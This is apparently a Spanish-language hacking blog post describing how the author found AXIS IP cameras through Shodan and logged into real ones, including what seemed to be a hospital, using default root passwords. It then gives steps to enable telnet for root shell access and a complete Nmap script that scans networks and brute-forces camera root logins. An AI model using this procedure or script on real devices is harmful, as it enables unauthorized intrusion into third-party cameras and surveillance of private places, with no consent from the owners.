q3rv0

Follow the white rabbit….

Tomando El Control De Una Camara AXIS – Parte I

Hay veces en las que se me da por jugar con Shodan, realizando busqueda de routers, camaras IP u otros dispositivos, esta vez me puse a indagar las camaras AXIS que se encontraban en la red publica.

Simplemente poniedon AXIS en el buscador podemos encontrar unas cuantas disponibles, sin embargo la gran mayoria dispone de autentificacion HTTP Digest para acceder al panel (pero no todas) incluso muchas poseen passwords como el clasico 123456.

Entonces me puse a averiguar informacion de este tipo de camaras, que bien son dispositivos con Linux arm* embebido y otra cosa interesante es que el user por defecto es root, asi que me puse a probar intentos de logueo con root:123456, root:root, siempre a travez de las direcciones que me arrojaba shodan y me cruze con una gran cantidad de dispositivos que realmente estaban configurados con esas credenciales y es mas algunos ni siquiera tenian activado la autentificacion por http.

Me tope con algunas como estas:

Lo que pareciera ser un hospital.

Un pequeño local de electrodomesticos en Arabia Saudita

Una pancheria en Medellin Colombia.

Ahora que ya habia accedido al panel, queria ver la forma de tomar el control del mini OS GNU.

Por empezar estos dispositivos cuentan con un servidor ftp configurado con las mismas credenciales que el http, pero por defecto el demonio telnet se encuentra desabilitado al inicio, pero esto no quita que pueda ser activado a travez del servidor web utilizando un editor de ficheros dentro de las opciones del sistema.

Solo basta con editar el fichero /etc/inittab y descomentar la linea:

1
#tnet:35:once:/usr/sbin/telnetd

Salvar los cambios, y reiniciar el dispositivo.

Esto podemos hacerlo mediante el panel.

O bien por ftp con el siguiente comando.

1
quote site reboot

Una vez iniciado el sistema seremos capaces de establecer una conexion por telnet como usuario root.

No quedando satisfecho con la pobre cantidad de camaras que me proveia shodan me dispuse a codear un NSE script para realizar sondeos con nmap y ver que me encontraba.

La manera de identificar estos juguetitos es mirando el banner que tira el ftp, una vez identificado, el script simplemente intenta loguearse como root, utilizando contraseñas debiles y ademas comprueba si el panel se encuentra protegido.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
description = [[
Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
o sin autentificacion HTTP digest.
]]

author = "[Q]3rV[0]"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "auth"}

---
-- 
-- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
-- @output
--PORT   STATE SERVICE
--21/tcp open  ftp
--80/tcp open  http

--Host script results:
--| axis:
--|   Host = xxx.x.xxx.3
--|   Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
--|_  Auth = root:root
-- 
---


local http = require "http"
local ftp = require "ftp"
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

hostrule=function(host)
    local http_port, ftp_port
    http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
    if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
        return false
    end
    ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
    if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
        return false
    end
    return true
end

local out={}

local dic={'root', 123456, 1234}

local function data_out(out, message_banner, auth, host)
    table.insert(out, string.format("Host = %s", host.ip))
    table.insert(out, string.format("Version = %s", message_banner))
    table.insert(out, string.format("Auth = %s", auth))
    return stdnse.format_output(true, out)
end

local function http_auth(host)
    local response=http.get(host, 80, '/view/viewer_index.shtml')
    return response
end


action=function(host)
    local socket=nmap.new_socket()
    socket:connect(host, 21)
    local buffer=stdnse.make_buffer(socket, "\r?\n")
    local code, message_banner=ftp.read_reply(buffer)
    if string.match(message_banner, "AXIS") then
        local response=http_auth(host)
        if response.status==401 or response.status==404 or response.status==403 then
            for n,pass in ipairs(dic) do
                socket:send("USER root\r\n")
                local code, message=ftp.read_reply(buffer)
                if code==331 then
                    socket:send("PASS "..pass.."\r\n")
                end
                local code, message=ftp.read_reply(buffer)
                if message == "User logged in, proceed." then
                    return data_out(out, message_banner, 'root:'..pass, host)
                end
            end
        else
            return data_out(out, message_banner, 'HTTP Blank Auth :)', host)
        end
        return data_out(out, message_banner, 'Failed Auth :(', host)
    end
end

Para terminar dejo una salida del script realizando un sondeo de prueba a la red xx.xxx.xx.x/24